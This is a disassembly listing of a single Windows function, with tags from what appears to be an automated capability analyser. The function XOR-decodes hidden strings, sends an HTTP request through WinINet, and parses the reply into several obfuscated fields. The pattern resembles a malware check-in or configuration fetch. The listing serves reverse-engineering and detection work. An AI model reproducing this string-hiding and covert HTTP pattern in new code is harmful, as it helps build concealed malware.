Function at 0x4599b4
Capabilities:
Connect to http server
Contain obfuscated stackstrings
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov eax, 0x486fb1
call fcn.00486b34
sub esp, 0xa24
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xd4], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
movaps xmm0, xmmword [0x49d9d0]
movups xmmword [ebp - 0x14b], xmm0
movaps xmm0, xmmword [str.829__v]
movups xmmword [ebp - 0x13b], xmm0
movaps xmm0, xmmword [0x49dbe0]
movups xmmword [ebp - 0x12b], xmm0
movaps xmm0, xmmword [0x49dbd0]
movups xmmword [ebp - 0x11b], xmm0
mov word [ebp - 0x10b], 0x6678
mov byte [ebp - 0x109], bl
mov ecx, ebx
mov dword [ebp - 0xb8], ecx
cmp ecx, 0x41
jae 0x459a40
mov al, byte [ebp + ecx - 0x14a]
xor al, byte [ebp - 0x14b]
mov byte [ebp + ecx - 0x14a], al
inc ecx
jmp 0x459a1e
mov byte [ebp - 0x109], bl
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x14a]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
mov dword [ebp - 0xf0], edi
test edi, edi
je 0x45a08f
mov ecx, 0x4a3af0
call fcn.004039e7
push 1
push ebx
push 3
push ebx
push ebx
push 0x50
push eax
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x80], eax
test eax, eax
je 0x45a086
mov dl, 0x6a
mov dword [ebp - 0x72], 0x31a0b6a
mov dword [ebp - 0x6e], 0xc040345
mov dword [ebp - 0x6a], 0xf0d4405
mov word [ebp - 0x66], 0x1e
mov ecx, ebx
mov dword [ebp - 0xbc], ecx
cmp ecx, 0xc
jae 0x459acd
mov al, byte [ebp + ecx - 0x71]
xor al, dl
mov byte [ebp + ecx - 0x71], al
inc ecx
mov dword [ebp - 0xbc], ecx
mov dl, byte [ebp - 0x72]
jmp 0x459ab2
mov byte [ebp - 0x65], bl
mov dl, 0x69
mov dword [ebp - 0x1b], 0x3d2c2e69
mov byte [ebp - 0x17], bl
mov ecx, ebx
mov dword [ebp - 0xc0], ecx
cmp ecx, 3
jae 0x459aff
mov al, byte [ebp + ecx - 0x1a]
xor al, dl
mov byte [ebp + ecx - 0x1a], al
inc ecx
mov dword [ebp - 0xc0], ecx
mov dl, byte [ebp - 0x1b]
jmp 0x459ae4
mov byte [ebp - 0x17], bl
push 1
push 0x4400100
push ebx
push ebx
push ebx
lea eax, [ebp - 0x71]
push eax
lea eax, [ebp - 0x1a]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x45a079
movaps xmm0, xmmword [0x49dc70]
movups xmmword [ebp - 0x1e8], xmm0
movaps xmm0, xmmword [0x49da90]
movups xmmword [ebp - 0x1d8], xmm0
movaps xmm0, xmmword [0x49d8a0]
movups xmmword [ebp - 0x1c8], xmm0
movaps xmm0, xmmword [0x49d890]
movups xmmword [ebp - 0x1b8], xmm0
movaps xmm0, xmmword [0x49dbb0]
movups xmmword [ebp - 0x1a8], xmm0
movaps xmm0, xmmword [0x49dc10]
movups xmmword [ebp - 0x198], xmm0
mov dword [ebp - 0x188], 0x3d217661
mov dword [ebp - 0x184], 0x3e203f
xor ecx, ecx
mov dword [ebp - 0xc4], ecx
cmp ecx, 0x66
jae 0x459bb3
mov al, byte [ebp + ecx - 0x1e7]
xor al, byte [ebp - 0x1e8]
mov byte [ebp + ecx - 0x1e7], al
inc ecx
jmp 0x459b91
mov byte [ebp - 0x181], 0
lea eax, [ebp - 0x1e7]
push eax
lea ecx, [ebp - 0x17c]
call fcn.00403ae8
push 0x400
push 0
lea eax, [ebp - 0x630]
push eax
call fcn.004693e0
add esp, 0xc
lea edi, [ebp - 0x630]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x459beb
sub edi, ecx
mov esi, dword [ebp - 0x16c]
lea ecx, [ebp - 0x17c]
call fcn.004039e7
push edi
lea ecx, [ebp - 0x630]
push ecx
push esi
push eax
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x45a05d
mov esi, 0x494070
push esi
lea ecx, [ebp - 0x164]
call fcn.00403ae8
push esi
lea ecx, [ebp - 0x108]
call fcn.00403ae8
push 0x400
push 0
lea eax, [ebp - 0xa30]
push eax
call fcn.004693e0
add esp, 0xc
and dword [ebp - 0x9c], 0
lea eax, [ebp - 0x9c]
push eax
push 0x3ff
lea eax, [ebp - 0xa30]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [ebp - 0x9c]
test ecx, eax
je 0x459c91
push ecx
lea eax, [ebp - 0xa30]
push eax
lea ecx, [ebp - 0x164]
call fcn.00403c55
jmp 0x459c58
push 1
push 3
lea eax, [ebp - 0x164]
push eax
lea ecx, [ebp - 0x230]
call fcn.00461bac
lea ecx, [ebp - 0x7c]
call fcn.00403b1d
xor edi, edi
mov esi, 0x49d300
mov dword [ebp - 0xd8], edi
push 0x3b
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x230]
call fcn.00462d06
pop ecx
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x459ffd
test edi, edi
jne 0x459d67
mov dl, 0x2e
mov dword [ebp - 0x2f], 0x5a476d2e
mov dword [ebp - 0x2b], 0xe1457
xor ecx, ecx
mov dword [ebp - 0xc8], ecx
cmp ecx, 6
jae 0x459d18
mov al, byte [ebp + ecx - 0x2e]
xor al, dl
mov byte [ebp + ecx - 0x2e], al
inc ecx
mov dword [ebp - 0xc8], ecx
mov dl, byte [ebp - 0x2f]
jmp 0x459cfd
mov byte [ebp - 0x28], 0
lea edx, [ebp - 0x2e]
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0xb4]
call fcn.00462a8c
pop ecx
push 2
push esi
mov ecx, eax
call fcn.00403c55
push eax
lea ecx, [ebp - 0x98]
call fcn.00403ab7
lea eax, [ebp - 0x98]
push eax
lea ecx, [ebp - 0x108]
call fcn.00403a4b
lea ecx, [ebp - 0x98]
call fcn.00403b2e
jmp 0x459fec
cmp edi, 1
jne 0x459db5
mov dl, 0x17
mov dword [ebp - 0x3a], 0x62785417
mov dword [ebp - 0x36], 0x6e656379
mov word [ebp - 0x32], 0x372d
mov byte [ebp - 0x30], 0
xor ecx, ecx
mov dword [ebp - 0xcc], ecx
cmp ecx, 9
jae 0x459da9
mov al, byte [ebp + ecx - 0x39]
xor al, dl
mov byte [ebp + ecx - 0x39], al
inc ecx
mov dword [ebp - 0xcc], ecx
mov dl, byte [ebp - 0x3a]
jmp 0x459d8e
mov byte [ebp - 0x30], 0
lea edx, [ebp - 0x39]
jmp 0x459d1f
cmp edi, 2
jne 0x459eaa
mov dl, 0x71
mov dword [ebp - 0x16], 0x5d3f5171
mov word [ebp - 0x12], 0x51
xor ecx, ecx
mov dword [ebp - 0xd0], ecx
cmp ecx, 4
jae 0x459df0
mov al, byte [ebp + ecx - 0x15]
xor al, dl
mov byte [ebp + ecx - 0x15], al
inc ecx
mov dword [ebp - 0xd0], ecx
mov dl, byte [ebp - 0x16]
jmp 0x459dd5
mov byte [ebp - 0x11], 0
mov dl, 0x5c
mov dword [ebp - 0x61], 0x33331f5c
mov dword [ebp - 0x5d], 0x3235382e
mov dword [ebp - 0x59], 0x2f39283d
mov word [ebp - 0x55], 0x7c66
mov byte [ebp - 0x53], 0
xor ecx, ecx
mov dword [ebp - 0xec], ecx
cmp ecx, 0xd
jae 0x459e38
mov al, byte [ebp + ecx - 0x60]
xor al, dl
mov byte [ebp + ecx - 0x60], al
inc ecx
mov dword [ebp - 0xec], ecx
mov dl, byte [ebp - 0x61]
jmp 0x459e1d
mov byte [ebp - 0x53], 0
lea eax, [ebp - 0x7c]
push eax
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0xb4]
call fcn.00462a8c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x15]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x459e57
sub ecx, esi
push ecx
lea eax, [ebp - 0x15]
push eax
mov ecx, edx
call fcn.00403c55
push eax
lea ecx, [ebp - 0x98]
call fcn.00403ab7
lea eax, [ebp - 0x98]
push eax
lea ecx, [ebp - 0x108]
call fcn.00403a4b
lea ecx, [ebp - 0x98]
call fcn.00403b2e
lea ecx, [ebp - 0xb4]
call fcn.00403b2e
mov esi, 0x49d300
jmp 0x459ff7
cmp edi, 3
jne 0x459efc
mov dl, 0x23
mov dword [ebp - 0x27], 0x2e660323
mov word [ebp - 0x23], 0x29
xor ecx, ecx
mov dword [ebp - 0xe8], ecx
cmp ecx, 4
jae 0x459ee1
mov al, byte [ebp + ecx - 0x26]
xor al, dl
mov byte [ebp + ecx - 0x26], al
inc ecx
mov dword [ebp - 0xe8], ecx
mov dl, byte [ebp - 0x27]
jmp 0x459ec6
mov byte [ebp - 0x22], 0
lea eax, [ebp - 0x26]
push eax
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0xb4]
call fcn.00403d39
jmp 0x459fdf
cmp edi, 4
jne 0x459f3f
mov dl, 0x2f
mov dword [ebp - 0x21], 0x157f662f
mov word [ebp - 0x1d], 0xf
xor ecx, ecx
mov dword [ebp - 0xe4], ecx
cmp ecx, 4
jae 0x459f33
mov al, byte [ebp + ecx - 0x20]
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
mov dword [ebp - 0xe4], ecx
mov dl, byte [ebp - 0x21]
jmp 0x459f18
mov byte [ebp - 0x1c], 0
lea edx, [ebp - 0x20]
jmp 0x459d1f
cmp edi, 5
jne 0x459f8a
mov dl, 0x19
mov dword [ebp - 0x52], 0x74704d19
mov dword [ebp - 0x4e], 0x7776637c
mov dword [ebp - 0x4a], 0x39237c
xor ecx, ecx
mov dword [ebp - 0xe0], ecx
cmp ecx, 0xa
jae 0x459f7e
mov al, byte [ebp + ecx - 0x51]
xor al, dl
mov byte [ebp + ecx - 0x51], al
inc ecx
mov dword [ebp - 0xe0], ecx
mov dl, byte [ebp - 0x52]
jmp 0x459f63
mov byte [ebp - 0x47], 0
lea edx, [ebp - 0x51]
jmp 0x459d1f
cmp edi, 6
jne 0x459ff7
mov dl, 0x7d
mov dword [ebp - 0x46], 0xd14277d
mov dword [ebp - 0x42], 0x19121e5d
mov dword [ebp - 0x3e], 0x5d4718
xor ecx, ecx
mov dword [ebp - 0xdc], ecx
cmp ecx, 0xa
jae 0x459fc9
mov al, byte [ebp + ecx - 0x45]
xor al, dl
mov byte [ebp + ecx - 0x45], al
inc ecx
mov dword [ebp - 0xdc], ecx
mov dl, byte [ebp - 0x46]
jmp 0x459fae
mov byte [ebp - 0x3b], 0
lea eax, [ebp - 0x7c]
push eax
lea edx, [ebp - 0x45]
lea ecx, [ebp - 0xb4]
call fcn.00462a8c
pop ecx
push eax
lea ecx, [ebp - 0x108]
call fcn.00403a4b
lea ecx, [ebp - 0xb4]
call fcn.00403b2e
inc edi
jmp 0x459cb6
push 0x49d308
lea ecx, [ebp - 0x98]
call fcn.00403ae8
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 8]
mov ecx, dword [ebp - 0xd4]
call fcn.00457e1a
lea ecx, [ebp - 0x98]
call fcn.00403b2e
lea ecx, [ebp - 0x7c]
call fcn.00403b2e
lea ecx, [ebp - 0x230]
call fcn.0045999a
lea ecx, [ebp - 0x108]
call fcn.00403b2e
lea ecx, [ebp - 0x164]
call fcn.00403b2e
push ebx
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
lea ecx, [ebp - 0x17c]
call fcn.00403b2e
mov edi, dword [ebp - 0xf0]
jmp 0x45a07f
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x80]
call esi
jmp 0x45a08c
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0xc